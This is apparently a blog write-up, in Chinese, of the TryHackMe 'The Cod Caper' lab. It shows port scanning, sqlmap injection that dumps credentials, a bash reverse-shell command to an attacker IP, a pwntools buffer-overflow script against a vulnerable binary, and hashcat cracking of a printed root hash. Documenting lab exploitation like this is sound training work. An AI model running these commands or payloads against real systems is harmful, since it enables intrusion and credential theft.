TryHackMe学习笔记-The Cod Caper

概述

继续TryHackMe的学习记录,本次靶机为The Cod Caper,内容为从Web漏洞利用到缓冲区溢出提权。

在这里插入图片描述

启动靶机后,靶机IP地址为10.10.162.177

端口扫描

nmap端口扫描,发现开了2个端口

nmap -Pn --open 10.10.162.177

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

对80端口进一步探测

nmap -Pn -p80 --open -sC -sV 10.10.162.177

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

对22端口进一步探测

nmap -Pn -p22 --open -sC -sV 10.10.162.177

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 6d:2c:40:1b:6c:15:7c:fc:bf:9b:55:22:61:2a:56:fc (RSA)
|   256 ff:89:32:98:f4:77:9c:09:39:f5:af:4a:4f:08:d6:f5 (ECDSA)
|_  256 89:92:63:e7:1d:2b:3a:af:6c:f9:39:56:5b:55:7e:f9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80端口漏洞利用

Web页面访问

直接访问http://10.10.162.177,是Apache默认页面

目录扫描

sudo gobuster dir -u http://10.10.162.177 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x .php,.txt,.html

在这里插入图片描述

SQL注入

访问http://10.10.162.177/administrator.php

在这里插入图片描述
直接通过sqlmap测试注入,这里注意,无法使用burp记录post的内容,因此不能使用-r参数,改为使用--forms参数

 sqlmap --random-agent -u http://10.10.162.177/administrator.php --forms --tamper space2comment

在这里插入图片描述

进一步利用sqlmap注入,最终得到web应用的账号密码

sqlmap --random-agent -u http://10.10.162.177/administrator.php --forms --tamper space2comment -D users -T users -C "username,password" --dump

Database: users
Table: users
[1 entry]
+----------+------------+
| username | password   |
+----------+------------+
| pingudad | secretpass |
+----------+------------+

命令执行 - 初始立足点

利用账号密码登录系统,得到一个输入框可以执行命令,这里在命令框执行bash -c "bash -i >& /dev/tcp/10.11.13.149/4444 0>&1",在攻击机10.11.13.149得到反弹shell,得到初始立足点,此时的用户为www-data

敏感文件查找

根据靶机提示,需要使用find命令查找敏感文件
···
$ find / -user www-data -type f 2>/dev/null
···

除了web应用文件外,找到一个/var/hidden/pass文件可以以www-data打开得到密码pinguapingu
在这里插入图片描述

LinEnum

根据靶机提示,需要使用LinEnum查找可提权的点,利用已有账号pingu:pinguapingu,通过scp命令向靶机传送文件LinEnum.sh,放在/tmp目录下,运行枚举

chmod +x LinEnum.sh
./LinEnum.sh

发现文件/opt/secret/root

提权

根据靶机提示,已经有此文件的源代码

#include "unistd.h"
#include "stdio.h"
#include "stdlib.h"
void shell(){
setuid(1000);
setgid(1000);
system("cat /var/backups/shadow.bak");
}

void get_input(){
char buffer[32];
scanf("%s",buffer);
}

int main(){
get_input();
}

首先查看/opt/secret/root的保护措施,可以看到没开启任何保护措施

在这里插入图片描述

分析源代码,可以看到main()调用get_input()函数,其有一个buffer缓冲,并用scanf()接收输入,不进行边界检查,能够导致缓冲区溢出,是我们控制程序控制流(通过控制寄存器EIP实现),进行执行shell(),读取cat /var/backups/shadow.bak

gdb

要进行缓冲区溢出,需要首先确认偏移,使其覆盖缓冲区与ebp直到eip,这里使用gdb实现,使用了pwndbg插件

首先生成填充字符

cyclic 100

输入上述字符串得到异常,提示Invalid address 0x6161616c

通过命令 cyclic -l 0x6161616c确认偏移为44

在这里插入图片描述

利用pwntools溢出

p = process('./root')
elf = ELF('./root', checksec=False)

offset = 44
shell_addr = elf.symbols['shell']
payload = 'A' * offset + p32(shell_addr)
p.sendline(payload)
p.interactive()

在这里插入图片描述
得到root的hash值$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.

hashcat破解hash

使用hashcat破解

sudo hashcat -m 1800 password.txt rockyou.txt  --force
sudo hashcat -m 1800  password.txt ~/tmp/rockyou.txt  --show
$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:love2fish

得到密码为love2fish,得到完全的靶机控制权限

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值